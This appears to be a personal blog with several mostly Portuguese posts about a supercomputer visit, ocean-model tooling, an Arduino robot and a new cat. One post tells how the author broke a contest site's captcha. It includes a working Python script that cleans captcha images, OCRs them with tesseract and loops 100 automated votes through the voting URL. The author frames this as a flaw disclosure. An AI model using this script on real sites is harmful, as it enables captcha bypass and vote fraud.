Gabbleblotchits

Vogon Poetry, Computers and (some) biology

I finally met Tupã

So, after two and a half years, I finally met Tupã.

Curiously, it was only after I left INPE. Arnaldo came to Cachoeira to visit us and I planned to show him the center, but I wasn't expecting to do the whole tour. When I began working there they only showed the public part, because Tupã was off-limits at that time, and I thought it still was since then. Well, me and everybody else that got into the group after me... We went on a small tour to see Tupã, the engines, no-breaks and all the electrical installation needed to support the building.

And it was AMAZING! I always liked more software than hardware, but it is awesome to see things that you just knew from a SSH session. I could see the tape library, disk arrays, the blinkenlights... It is in some ways the physical manifestation of your code, or at least you have a better notion of how many things are in motion when you execute something on the computer.

All in all, good times. It wasn't exactly what I expected at first, but I made some great friends there, I could bike to work everyday, and I learned (by trial and error) that you need to choose better who do you trust. So it goes.

Ocean

Tudo começou com uma pergunta no Reddit. Compartilhei ela no Google Reader, comentando que era bem parecido com o que eu faço no INPE. O Thiago ficou interessado e perguntou se eu não podia contar um pouco mais.

Fazem cinco meses que comecei a trabalhar no grupo de modelagem oceânica acoplada do INPE. O nosso grupo é responsável pelo MBSCG, além da produção científica. Eu estou desenvolvendo ferramentas para auxiliar os pesquisadores na análise das saídas do modelo e como relacionar elas com as observações dos instrumentos espalhados pelo mundo.

Mas isso é uma descrição muito genérica. O primeiro aplicativo que fiz (ainda não tem release público, shame on me, mas não falta muito) é um editor de grades oceânicas. O modelo oceânico necessita de um arquivo descrevendo a grade que ele vai usar para saber como é o mundo (onde é terra, onde é água, qual a profundidade da água em cada local). Em resoluções baixas, costuma subdividir o mundo em incrementos de 1 grau (cerca de 100km no Equador). Em qualquer resolução escolhida ocorrem vários problemas diferentes:

  • Em resoluções baixas o estreito de Gibraltar pode ficar fechado, e o Mediterrâneo vira um lago gigante sem trocas com o oceano. Obviamente o resultado fica bem longe da realidade.
  • Em resoluções altas o canal do Panamá pode abrir, o que causa um fluxo inexistente entre o Pacífico e o Atlântico.

Entre muitos outros. O modelo tem ferramentas para gerar uma grade a partir de uma batimetria fornecida, mas ele não corrige todos os problemas que surgem. Até hoje era muito trabalhoso arrumar essa grade, pois era difícil visualizar e selecionar cada ponto da grade e conferir se ele é consistente com as necessidades do experimento.

Então o que eu fiz foi fazer um aplicativo que pega a grade, plota na projeção desejada (ortográfica, por padrão), e permite a seleção de células e edição de profundidade delas em diferentes níveis de zoom. Relativamente simples, mas de uma utilidade muito grande para os pesquisadores prepararem seus experimentos.

Hoje estou trabalhando num módulo para extrair dados do modelo e compará-los com observações disponíveis. Um exemplo são os dados do projeto PIRATA, que inclui CTDs e radiossondas (quer quiser brincar um pouco para ver o que é disponibilizado pode ver esse site que o Beto fez). O PIRATA tem cruzeiros de manutenção das boias em alguns períodos do ano, e é interessante comparar os dados coletados nesses cruzeiros com um cruzeiro virtual que passe na mesma localização no modelo. Inicialmente fiz algo bem simples, que só pega a latitude e longitude da medição e interpola os arredores dessa localização no modelo (a resolução pode não ser tão alta a ponto de incluir o ponto exato, por isso a interpolação). Mesmo com uma técnica tão simples já é possível perceber como o modelo se aproxima bastante da realidade em muitos lugares. Na semana passada o Guilherme chegou para trabalhar no nosso grupo e fez algumas sugestões para fazer uma análise mais avançada, e na verdade esse email todo é para comentar sobre isso.

Assim como o pessoal da computação é muito procurado já a algum tempo, devido à ascensão do computador a ferramenta essencial da maioria das atividades da humanidade, os próximos serão os estatísticos (e cientistas da informação, onde cursos de biblioteconomia se atualizaram). Cada vez mais geramos montanhas de dados, mas não sabemos muito bem como lidar com toda essa complexidade. E existem técnicas que são comuns a muitas áreas de conhecimento, e portanto genéricas: você pode aplicá-las para analisar uma gama gigantesca de dados. Por exemplo, eu tive análise de sinais na universidade, e apesar de orientada à circuitos quase tudo se aplica no estudo de medidas realizadas pelos instrumentos. Foi até curioso, porque eu associava tanto a circuitos que ficava com a impressão de que nunca usaria na vida, porque eu não ia trabalhar com hardware (sim, eu era um bixo burro).

Relacionado a isso surgiu pela tarde outro assunto, conversando com o GG. Falei que, durante a graduação, tinha matérias da engenharia que ficávamos nos perguntando pra que serviriam. Fenômenos dos transportes? Estatística? A já citada análise de sinais? Só pra morder a língua, são as três coisas que mais uso aqui: a primeira é essencial para a modelagem de processos físicos (oceanografia geofísica) que governam o modelo, a segunda e a terceira para análise das saídas. E também percebemos que não apenas a computação é uma área-meio (que pode ser aplicada a várias áreas-fim), como também a engenharia o é. Fico feliz te ter achado um meio que permita usar as minhas profissões genéricas.

Minha (quase) vida bandida

Blog juntando moscas, deixa eu ressucitar um projetinho de fim de semana para ver se anima um pouco.

A ideia inicial desse post surgiu na PythonBrasil do ano passado. Pensei em fazer uma lightning talk, mas não ficou pronta a tempo (Nota: sempre bom deixar alguma lightning talk preparada).

Como começou a história: recebi email de uma prima, pedindo para que os amigos e parentes ajudassem a votar na filha dela em um site de roupas infantis. A criança mais votada participaria de um comercial e ia embolsar um monte de roupas.

Ok, ok. Odeio esse tipo de spam, mas também não custa ajudar, né? Fui na página de votação. Votei uma vez, depois de preencher um captcha, e tentei votar de novo para ver o que acontecia. "Você votou na última hora, aguarde para votar novamente". Hmm. Como será que o controle disso é feito?

Abri o código. Hmm, essa função em javascript aqui que processa o evento do botão, ela chama uma URL...

votoAprovar.js download
function votoAprovar(cadastroId){
  captcha = document.getElementById('cadastroCaptcha').value;
  window.location = 'voto_v.php?votoStatus=1&cadastroId='+cadastroId+"&captcha="+captcha;
}

Opa. E se eu tentar acessar essa URL direto?

voto_v.php?votoStatus=1&cadastroId=98374&captcha=adb356

Tenho que acertar o captcha. Onde está o captcha? Ah, olha só, o link da imagem é um arquivo captcha.php, será que dá para acessar direto? Deu.

A imagem original.

Resumindo, eu tinha a URL para votar, e atualizando o captcha eu conseguia votar quantas vezes quisesse. Mas ficar fazendo isso na mão é chato. Como será que funciona identificação de captcha? Uma pesquisa rapidinha e caí nesse site. E em Python, para facilitar ainda mais minha vida.

Brinquei um pouco com o PIL, e consegui deixar a imagem com caracteres bem definidos. Incrivelmente, só precisei converter para escala de cinza, e aplicar um limiar.

clean_captcha.py download
def captcha_to_greyscale(captcha):
    if captcha.mode == 'L':
        return captcha
    captcha = captcha.convert('L', (.4, .4, .4, 0))
    return captcha

def light_pixels_to_white_pixels(pixels, w, h):
    for x in xrange(w):
        for y in xrange(h):
            if pixels[x, y] > 50:
                pixels[x, y] = 255
    return pixels

def clean_captcha(img):
    img2 = captcha_to_greyscale(img)

    w, h = img2.size
    light_pixels_to_white_pixels(img2.load(), w, h)

    return img2

Imagem, depois de processada pelo PIL.

E, conforme ia acumulando mais imagens, vi que a minha vida seria mais fácil ainda: o captcha só tinha caracteres hexadecimais, então nem precisaria mapear o alfabeto inteiro, só de zero a nove e de 'a' até 'f'. Depois de limpar algumas imagens e juntá-las numa pasta, rodei o treinador do tesseract-ocr, e depois dos arquivos de treinos prontos, tinha 100% de acerto nas imagens. Sigh, que maravilha de captcha...

Agora, testar. Criei um perfil falso, e me assustei. Tentei rodar o script para ver se contava um voto, e quando abri o perfil já tinha 5! Aparentemente, as mães fazem um "vote-no-meu-filho-que-eu-voto-no-seu", e como os perfis mais novos aparecem na página principal, me acharam rapidinho. Ok, rodemos um loop então, cem votos. Yep, todos contados.

break_captcha.py download
from commands import getoutput
from StringIO import StringIO

from PIL import Image
import mechanize


def captcha_to_greyscale(captcha):
    if captcha.mode == 'L':
        return captcha
    captcha = captcha.convert('L', (.4, .4, .4, 0))
    return captcha


def light_pixels_to_white_pixels(pixels):
    w, h = pixels.size
    for x in xrange(w):
        for y in xrange(h):
            if pixels[x, y] > 50:
                pixels[x, y] = 255
    return pixels


def clean_captcha(img):
    img2 = captcha_to_greyscale(img)

    light_pixels_to_white_pixels(img2.load())

    return img2


if __name__ == '__main__':
    br = mechanize.Browser()

    for i in xrange(100):
        print 'voto', i

        page = br.open('*****/captcha/captcha.php')
        img_str = StringIO(page.read())

        fp = open('original.tif', 'wb')
        img = Image.open(img_str)
        img.save(fp, format='tiff')

        output = clean_captcha(img)

        fp = open('tmp.tif', 'wb')
        output.save(fp, format='tiff')
        fp.close()

        getoutput('tesseract tmp.tif output -l brand')
        fp = open('output.txt')
        captcha = fp.read()[:6]
        fp.close()

        cadId = 28477

        vote_page = '*****/voto_v.php?votoStatus=1&cadastroId=%d&captcha=%s' % (
            cadId, captcha)

        br.open(vote_page)

Omiti o endereço do site, mas basicamente o script é esse.

Agora chega o grande momento, o clímax da história, onde o herói escolhe entre a fama e fortuna ou o que parece moralmente certo. (Que grandioso!). "Com grandes poderes vêm grandes responsabilidades!". E todo esse lero-lero.

Apesar de o propósito inicial ter sido ajudar a minha prima, rodar o script me pareceu uma ajuda grande demais. E meu objetivo era testar o buraco no sistema de votação, não me aproveitar dele. Acabei deixando pra lá, e o código ficou mofando no meu computador.

Hoje, quando fui escrever o post, vi que já aconteceu a segunda edição do concurso, e miseravelmente o sistema é exatamente o mesmo. Vou mandar esse post para a empresa, quem sabe para o próximo corrijam.

UPDATE: O Lameiro deu a dica nos comentários: buscando no google.com.br por "captcha PHP" temos, como primeiro hit, um tutorial ensinando a gerar o captcha que esse site usa. E, como ele bem notou, deve ter muitos sites no Brasil com esse mesmo problema.

Fica a dica: nunca confie no primeiro hit do google para implementar a sua solução de segurança. Aliás, não confie em nenhuma, até saber como ela funciona.

Robô Shrek

Na última quarta-feira aconteceu a Feira de Informática Aplicada, ligada à Semana de Computação da UFSCar. Eu e Alphalpha resolvemos participar para testar o Arduino que eu tinha comprado no começo do ano. O tempo era curto, mas mesmo assim fomos em frente e juntamos algumas peças que sobraram do robô do GEDAI, um N800, um Arduino Duemilanove e montamos nosso próprio robô, chamado de Shrek.

Por que Shrek? Porque Shrek é um ogro, ogros são como cebolas (fedem são feitos de camadas), e nosso robô é feito de várias camadas simples que, juntas, fazem algo complexo.

Como funciona? O Arduino controla os motores, e recebe dados pelo USB (como uma porta serial) vindos do N800. O N800 está conectado em uma rede wifi, e recebe comandos via socket. Além disso, também envia vídeo e áudio para a aplicação (que no momento roda em um PC), e a aplicação envia os comandos e exibe o vídeo e o áudio.

Devido ao pouco tempo, apenas 3 comandos simples foram implementados (frente, giro à esquerda, giro à direita), mas nosso objetivo estava cumprido: a comunicação entre as partes estava funcionando direitinho, e agora podemos partir para incrementá-lo.

Todo o código está disponível no GitHub, e queremos levá-lo para o FISL (depois de arranjarmos motores melhores).

OMG Kitties!

Ontem foi o dia da toalha. Uma imagem vale mais que mil palavras.

À esquerda, minha querida toalha. Ao fundo, World of Warcraft (sim, cometi esse erro. Seja o que Deus quiser). E na frente, em primeiro plano, Ada.

Quem é Ada? Semana passada minha namorada veio perguntar se eu já tinha ouvido falar de Ada Byron, condessa de Lovelace (não confundir com Linda Lovelace, condessa de... clique no link e veja). Eu disse "claro, a primeira programadora", e começamos a conversar sobre isso. Ela reclamou da falta de reconhecimento da importância dela, e acabamos concluindo que Ada é um nome legal.

Na sexta, fomos até a Arca de São Franscisco, uma entidade de proteção aos animais em São Carlos. E lá achamos essa gatinha, que deveria ter ficado em outro lugar, mas por incompatibilidade de gênios foi rejeitada e acabou ficando no apartamento mesmo. E resolvemos batizar ela como Ada. Diga-se que é a primeira vez que tenho um gato, o único animal de estimação que tive foi uma coelha, quando eu tinha uns 6 anos. Mas tô curtindo por enquanto =]

E acabei descobrindo que essa tirinha do XKCD realmente é verdade:

Randall Munroe, mestre.

Alguém aí tem dicas?